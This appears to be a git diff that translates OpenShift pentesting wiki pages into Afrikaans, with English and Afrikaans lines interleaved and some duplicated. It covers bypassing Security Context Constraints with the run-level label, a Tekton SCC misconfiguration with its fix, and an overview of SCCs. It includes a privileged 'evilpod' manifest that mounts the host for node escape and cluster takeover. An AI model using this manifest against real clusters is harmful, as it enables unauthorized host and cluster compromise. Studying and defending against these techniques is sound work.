Die spesifieke etiket `openshift.io/run-level` stel gebruikers in staat om SCC's vir toepassings te omseil. Volgens RedHat-dokumentasie, wanneer hierdie etiket gebruik word, word daar geen SCC's op alle pods binne daardie naamruimte afgedwing nie, wat effektief enige beperkings verwyder.
|
||||
|
||||
<figure><img src="../../../images/Openshift-RunLevel4.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Add Label
|
||||
|
||||
To add the label in your namespace :
|
||||
## Voeg Etiket By
|
||||
|
||||
Om die etiket in jou naamruimte by te voeg:
|
||||
```bash
|
||||
$ oc label ns MYNAMESPACE openshift.io/run-level=0
|
||||
```
|
||||
|
||||
To create a namespace with the label through a YAML file:
|
||||
|
||||
Om 'n naamruimte met die etiket deur 'n YAML-lêer te skep:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Namespace
|
||||
metadata:
|
||||
name: evil
|
||||
labels:
|
||||
openshift.io/run-level: 0
|
||||
name: evil
|
||||
labels:
|
||||
openshift.io/run-level: 0
|
||||
```
|
||||
|
||||
Now, all new pods created on the namespace should not have any SCC
|
||||
Nou, alle nuwe pods wat in die naamruimte geskep word, moet geen SCC hê nie.
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash"><strong>$ oc get pod -o yaml | grep 'openshift.io/scc'
|
||||
</strong><strong>$
|
||||
</strong><strong>$
|
||||
</strong></code></pre>
|
||||
|
||||
In the absence of SCC, there are no restrictions on your pod definition. This means that a malicious pod can be easily created to escape onto the host system.
|
||||
|
||||
In die afwesigheid van SCC is daar geen beperkings op jou pod-definisie nie. Dit beteken dat 'n kwaadwillige pod maklik geskep kan word om na die gasheerstelsel te ontsnap.
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: evilpod
|
||||
labels:
|
||||
kubernetes.io/hostname: evilpod
|
||||
name: evilpod
|
||||
labels:
|
||||
kubernetes.io/hostname: evilpod
|
||||
spec:
|
||||
hostNetwork: true #Bind pod network to the host network
|
||||
hostPID: true #See host processes
|
||||
hostIPC: true #Access host inter processes
|
||||
containers:
|
||||
- name: evil
|
||||
image: MYIMAGE
|
||||
imagePullPolicy: IfNotPresent
|
||||
securityContext:
|
||||
privileged: true
|
||||
allowPrivilegeEscalation: true
|
||||
resources:
|
||||
limits:
|
||||
memory: 200Mi
|
||||
requests:
|
||||
cpu: 30m
|
||||
memory: 100Mi
|
||||
volumeMounts:
|
||||
- name: hostrootfs
|
||||
mountPath: /mnt
|
||||
volumes:
|
||||
- name: hostrootfs
|
||||
hostPath:
|
||||
path:
|
||||
hostNetwork: true #Bind pod network to the host network
|
||||
hostPID: true #See host processes
|
||||
hostIPC: true #Access host inter processes
|
||||
containers:
|
||||
- name: evil
|
||||
image: MYIMAGE
|
||||
imagePullPolicy: IfNotPresent
|
||||
securityContext:
|
||||
privileged: true
|
||||
allowPrivilegeEscalation: true
|
||||
resources:
|
||||
limits:
|
||||
memory: 200Mi
|
||||
requests:
|
||||
cpu: 30m
|
||||
memory: 100Mi
|
||||
volumeMounts:
|
||||
- name: hostrootfs
|
||||
mountPath: /mnt
|
||||
volumes:
|
||||
- name: hostrootfs
|
||||
hostPath:
|
||||
path:
|
||||
```
|
||||
|
||||
Now, it has become easier to escalate privileges to access the host system and subsequently take over the entire cluster, gaining 'cluster-admin' privileges. Look for **Node-Post Exploitation** part in the following page :
|
||||
Nou het dit makliker geword om voorregte te verhoog om toegang tot die gasheerstelsel te verkry en gevolglik die hele kluster oor te neem, wat 'cluster-admin' voorregte verkry. Soek na die **Node-Post Exploitation** deel op die volgende bladsy:
|
||||
|
||||
{{#ref}}
|
||||
../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
|
||||
{{#endref}}
|
||||
|
||||
### Custom labels
|
||||
### Pasgemaakte etikette
|
||||
|
||||
Furthermore, based on the target setup, some custom labels / annotations may be used in the same way as the previous attack scenario. Even if it is not made for, labels could be used to give permissions, restrict or not a specific resource.
|
||||
Boonop, gebaseer op die teikenopstelling, kan sommige pasgemaakte etikette / annotasies op dieselfde manier gebruik word as die vorige aanvalscenario. Selfs al is dit nie gemaak vir nie, kan etikette gebruik word om toestemmings te gee, 'n spesifieke hulpbron te beperk of nie.
|
||||
|
||||
Try to look for custom labels if you can read some resources. Here a list of interesting resources :
|
||||
Probeer om na pasgemaakte etikette te soek as jy sommige hulpbronne kan lees. Hier is 'n lys van interessante hulpbronne:
|
||||
|
||||
- Pod
|
||||
- Deployment
|
||||
- Namespace
|
||||
- Service
|
||||
- Route
|
||||
|
||||
```bash
|
||||
$ oc get pod -o yaml | grep labels -A 5
|
||||
$ oc get namespace -o yaml | grep labels -A 5
|
||||
```
|
||||
|
||||
## List all privileged namespaces
|
||||
|
||||
## Lys alle bevoorregte naamruimtes
|
||||
```bash
|
||||
$ oc get project -o yaml | grep 'run-level' -b5
|
||||
```
|
||||
## Gevorderde uitbuiting
|
||||
|
||||
## Advanced exploit
|
||||
In OpenShift, soos vroeër gedemonstreer, kan die toestemming om 'n pod in 'n naamruimte met die `openshift.io/run-level`-etiket te ontplooi lei tot 'n eenvoudige oorneem van die kluster. Vanuit 'n klusterinstellingsperspektief **kan hierdie funksionaliteit nie gedeaktiveer word** nie, aangesien dit inherent is aan OpenShift se ontwerp.
|
||||
|
||||
In OpenShift, as demonstrated earlier, having permission to deploy a pod in a namespace with the `openshift.io/run-level`label can lead to a straightforward takeover of the cluster. From a cluster settings perspective, this functionality **cannot be disabled**, as it is inherent to OpenShift's design.
|
||||
Egter, versagtingsmaatreëls soos **Open Policy Agent GateKeeper** kan voorkom dat gebruikers hierdie etiket stel.
|
||||
|
||||
However, mitigation measures like **Open Policy Agent GateKeeper** can prevent users from setting this label.
|
||||
Om GateKeeper se reëls te omseil en hierdie etiket te stel om 'n kluster oorneem uit te voer, **sal aanvallers alternatiewe metodes moet identifiseer.**
|
||||
|
||||
To bypass GateKeeper's rules and set this label to execute a cluster takeover, **attackers would need to identify alternative methods.**
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html)
|
||||
- [https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html](https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html)
|
||||
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,79 +1,71 @@
|
||||
# OpenShift - Tekton
|
||||
|
||||
**The original author of this page is** [**Haroun**](https://www.linkedin.com/in/haroun-al-mounayar-571830211)
|
||||
**Die oorspronklike skrywer van hierdie bladsy is** [**Haroun**](https://www.linkedin.com/in/haroun-al-mounayar-571830211)
|
||||
|
||||
### What is tekton
|
||||
### Wat is tekton
|
||||
|
||||
According to the doc: _Tekton is a powerful and flexible open-source framework for creating CI/CD systems, allowing developers to build, test, and deploy across cloud providers and on-premise systems._ Both Jenkins and Tekton can be used to test, build and deploy applications, however Tekton is Cloud Native. 
|
||||
Volgens die dokument: _Tekton is 'n kragtige en buigsame oopbronraamwerk vir die skep van CI/CD stelsels, wat ontwikkelaars in staat stel om te bou, te toets en te ontplooi oor wolkverskaffers en op-premise stelsels._ Beide Jenkins en Tekton kan gebruik word om toepassings te toets, te bou en te ontplooi, maar Tekton is Cloud Native. 
|
||||
|
||||
With Tekton everything is represented by YAML files. Developers can create Custom Resources (CR) of type `Pipelines` and specify multiple `Tasks` in them that they want to run. To run a Pipeline resources of type `PipelineRun` must be created.
|
||||
Met Tekton word alles verteenwoordig deur YAML-lêers. Ontwikkelaars kan Aangepaste Hulpbronne (CR) van tipe `Pipelines` skep en verskeie `Tasks` daarin spesifiseer wat hulle wil uitvoer. Om 'n Pipeline te laat loop, moet hulpbronne van tipe `PipelineRun` geskep word.
|
||||
|
||||
When tekton is installed a service account (sa) called pipeline is created in every namespace. When a Pipeline is ran, a pod will be spawned using this sa called `pipeline` to run the tasks defined in the YAML file.
|
||||
Wanneer tekton geïnstalleer word, word 'n diensrekening (sa) genaamd pipeline in elke naamruimte geskep. Wanneer 'n Pipeline uitgevoer word, sal 'n pod geskep word wat hierdie sa genaamd `pipeline` gebruik om die take wat in die YAML-lêer gedefinieer is, uit te voer.
|
||||
|
||||
{{#ref}}
|
||||
https://tekton.dev/docs/getting-started/pipelines/
|
||||
{{#endref}}
|
||||
|
||||
### The Pipeline service account capabilities
|
||||
|
||||
By default, the pipeline service account can use the `pipelines-scc` capability. This is due to the global default configuration of tekton. Actually, the global config of tekton is also a YAML in an openshift object called `TektonConfig` that can be seen if you have some reader roles in the cluster.
|
||||
### Die Pipeline diensrekening vermoëns
|
||||
|
||||
Standaard kan die pipeline diensrekening die `pipelines-scc` vermoëns gebruik. Dit is te danke aan die globale standaardkonfigurasie van tekton. Trouens, die globale konfigurasie van tekton is ook 'n YAML in 'n openshift objek genaamd `TektonConfig` wat gesien kan word as jy 'n paar leserrolle in die kluster het.
|
||||
```yaml
|
||||
apiVersion: operator.tekton.dev/v1alpha1
|
||||
kind: TektonConfig
|
||||
metadata:
|
||||
name: config
|
||||
name: config
|
||||
spec:
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "pipelines-scc"
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "pipelines-scc"
|
||||
```
|
||||
In enige naamruimte, as jy die pipeline diensrekening token kan kry, sal jy in staat wees om `pipelines-scc` te gebruik.
|
||||
|
||||
In any namespace, if you can get the pipeline service account token you will be able to use `pipelines-scc`.
|
||||
|
||||
### The Misconfig
|
||||
|
||||
The problem is that the default scc that the pipeline sa can use is user controllable. This can be done using a label in the namespace definition. For instance, if I can create a namespace with the following yaml definition:
|
||||
### Die Misconfig
|
||||
|
||||
Die probleem is dat die standaard scc wat die pipeline sa kan gebruik, gebruikersbeheerbaar is. Dit kan gedoen word deur 'n etiket in die naamruimte-definisie te gebruik. Byvoorbeeld, as ek 'n naamruimte kan skep met die volgende yaml-definisie:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Namespace
|
||||
metadata:
|
||||
name: test-namespace
|
||||
annotations:
|
||||
operator.tekton.dev/scc: privileged
|
||||
name: test-namespace
|
||||
annotations:
|
||||
operator.tekton.dev/scc: privileged
|
||||
```
|
||||
Die tekton-operateur sal aan die pyplyn-diensrekening in `test-namespace` die vermoë gee om die scc privileged te gebruik. Dit sal die montering van die node toelaat.
|
||||
|
||||
The tekton operator will give to the pipeline service account in `test-namespace` the ability to use the scc privileged. This will allow the mounting of the node.
|
||||
### Die oplossing
|
||||
|
||||
### The fix
|
||||
|
||||
Tekton documents about how to restrict the override of scc by adding a label in the `TektonConfig` object.
|
||||
Tekton dokumente oor hoe om die oortreding van scc te beperk deur 'n etiket in die `TektonConfig` objek by te voeg.
|
||||
|
||||
{{#ref}}
|
||||
https://tekton.dev/docs/operator/sccconfig/
|
||||
{{#endref}}
|
||||
|
||||
This label is called `max-allowed` 
|
||||
|
||||
Hierdie etiket word `max-allowed` genoem.
|
||||
```yaml
|
||||
apiVersion: operator.tekton.dev/v1alpha1
|
||||
kind: TektonConfig
|
||||
metadata:
|
||||
name: config
|
||||
name: config
|
||||
spec:
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "restricted-v2"
|
||||
maxAllowed: "privileged"
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "restricted-v2"
|
||||
maxAllowed: "privileged"
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,36 +1,35 @@
|
||||
# Openshift - SCC
|
||||
|
||||
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
**Die oorspronklike skrywer van hierdie bladsy is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
|
||||
## Definition
|
||||
## Definisie
|
||||
|
||||
In the context of OpenShift, SCC stands for **Security Context Constraints**. Security Context Constraints are policies that control permissions for pods running on OpenShift clusters. They define the security parameters under which a pod is allowed to run, including what actions it can perform and what resources it can access.
|
||||
In die konteks van OpenShift, staan SCC vir **Security Context Constraints**. Security Context Constraints is beleid wat toestemmings vir pods wat op OpenShift-klusters loop, beheer. Hulle definieer die sekuriteitsparameters waaronder 'n pod toegelaat word om te loop, insluitend watter aksies dit kan uitvoer en watter hulpbronne dit kan benader.
|
||||
|
||||
SCCs help administrators enforce security policies across the cluster, ensuring that pods are running with appropriate permissions and adhering to organizational security standards. These constraints can specify various aspects of pod security, such as:
|
||||
SCC's help administrateurs om sekuriteitsbeleid oor die kluster af te dwing, wat verseker dat pods met toepaslike toestemmings loop en voldoen aan organisatoriese sekuriteitsstandaarde. Hierdie beperkings kan verskeie aspekte van pod-sekuriteit spesifiseer, soos:
|
||||
|
||||
1. Linux capabilities: Limiting the capabilities available to containers, such as the ability to perform privileged actions.
|
||||
2. SELinux context: Enforcing SELinux contexts for containers, which define how processes interact with resources on the system.
|
||||
3. Read-only root filesystem: Preventing containers from modifying files in certain directories.
|
||||
4. Allowed host directories and volumes: Specifying which host directories and volumes a pod can mount.
|
||||
5. Run as UID/GID: Specifying the user and group IDs under which the container process runs.
|
||||
6. Network policies: Controlling network access for pods, such as restricting egress traffic.
|
||||
1. Linux vermoëns: Beperking van die vermoëns wat beskikbaar is vir houers, soos die vermoë om bevoorregte aksies uit te voer.
|
||||
2. SELinux-konteks: Afdeling van SELinux-kontekste vir houers, wat definieer hoe prosesse met hulpbronne op die stelsel interaksie het.
|
||||
3. Lees-alleen wortel lêerstelsel: Voorkoming dat houers lêers in sekere gidse verander.
|
||||
4. Toegelate gasheer gidse en volumes: Spesifisering van watter gasheer gidse en volumes 'n pod kan monteer.
|
||||
5. Loop as UID/GID: Spesifisering van die gebruiker en groep ID's waaronder die houerproses loop.
|
||||
6. Netwerkbeleide: Beheer van netwerktoegang vir pods, soos om uitgaande verkeer te beperk.
|
||||
|
||||
By configuring SCCs, administrators can ensure that pods are running with the appropriate level of security isolation and access controls, reducing the risk of security vulnerabilities or unauthorized access within the cluster.
|
||||
Deur SCC's te konfigureer, kan administrateurs verseker dat pods met die toepaslike vlak van sekuriteitsisolasie en toegangbeheer loop, wat die risiko van sekuriteitskwesbaarhede of ongemagtigde toegang binne die kluster verminder.
|
||||
|
||||
Basically, every time a pod deployment is requested, an admission process is executed as the following:
|
||||
Basies, elke keer as 'n pod-ontplooiing aangevra word, word 'n toelatingsproses uitgevoer soos volg:
|
||||
|
||||
<figure><img src="../../images/Managing SCCs in OpenShift-1.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
This additional security layer by default prohibits the creation of privileged pods, mounting of the host file system, or setting any attributes that could lead to privilege escalation.
|
||||
Hierdie addisionele sekuriteitslaag verbied standaard die skepping van bevoorregte pods, die montering van die gasheer lêerstelsel, of die instelling van enige eienskappe wat tot bevoorregtingseskalering kan lei.
|
||||
|
||||
{{#ref}}
|
||||
../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md
|
||||
{{#endref}}
|
||||
|
||||
## List SCC
|
||||
|
||||
To list all the SCC with the Openshift Client :
|
||||
## Lys SCC
|
||||
|
||||
Om al die SCC's met die Openshift-kliënt te lys:
|
||||
```bash
|
||||
$ oc get scc #List all the SCCs
|
||||
|
||||
@@ -38,35 +37,26 @@ $ oc auth can-i --list | grep securitycontextconstraints #Which scc user can use
|
||||
|
||||
$ oc describe scc $SCC #Check SCC definitions
|
||||
```
|
||||
Alle gebruikers het toegang tot die standaard SCC "**restricted**" en "**restricted-v2**" wat die strengste SCC's is.
|
||||
|
||||
All users have access the default SCC "**restricted**" and "**restricted-v2**" which are the strictest SCCs.
|
||||
|
||||
## Use SCC
|
||||
|
||||
The SCC used for a pod is defined inside an annotation :
|
||||
## Gebruik SCC
|
||||
|
||||
Die SCC wat vir 'n pod gebruik word, is binne 'n annotasie gedefinieer :
|
||||
```bash
|
||||
$ oc get pod MYPOD -o yaml | grep scc
|
||||
openshift.io/scc: privileged
|
||||
openshift.io/scc: privileged
|
||||
```
|
||||
|
||||
When a user has access to multiple SCCs, the system will utilize the one that aligns with the security context values. Otherwise, it will trigger a forbidden error.
|
||||
|
||||
Wanneer 'n gebruiker toegang het tot meerdere SCC's, sal die stelsel die een gebruik wat ooreenstem met die sekuriteitskontekswaardes. Andersins sal dit 'n verbode fout aktiveer.
|
||||
```bash
|
||||
$ oc apply -f evilpod.yaml #Deploy a privileged pod
|
||||
Error from server (Forbidden): error when creating "evilpod.yaml": pods "evilpod" is forbidden: unable to validate against any security context constrain
|
||||
Error from server (Forbidden): error when creating "evilpod.yaml": pods "evilpod" is forbidden: unable to validate against any security context constrain
|
||||
```
|
||||
|
||||
## SCC Bypass
|
||||
|
||||
{{#ref}}
|
||||
openshift-privilege-escalation/openshift-scc-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [https://www.redhat.com/en/blog/managing-sccs-in-openshift](https://www.redhat.com/en/blog/managing-sccs-in-openshift)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user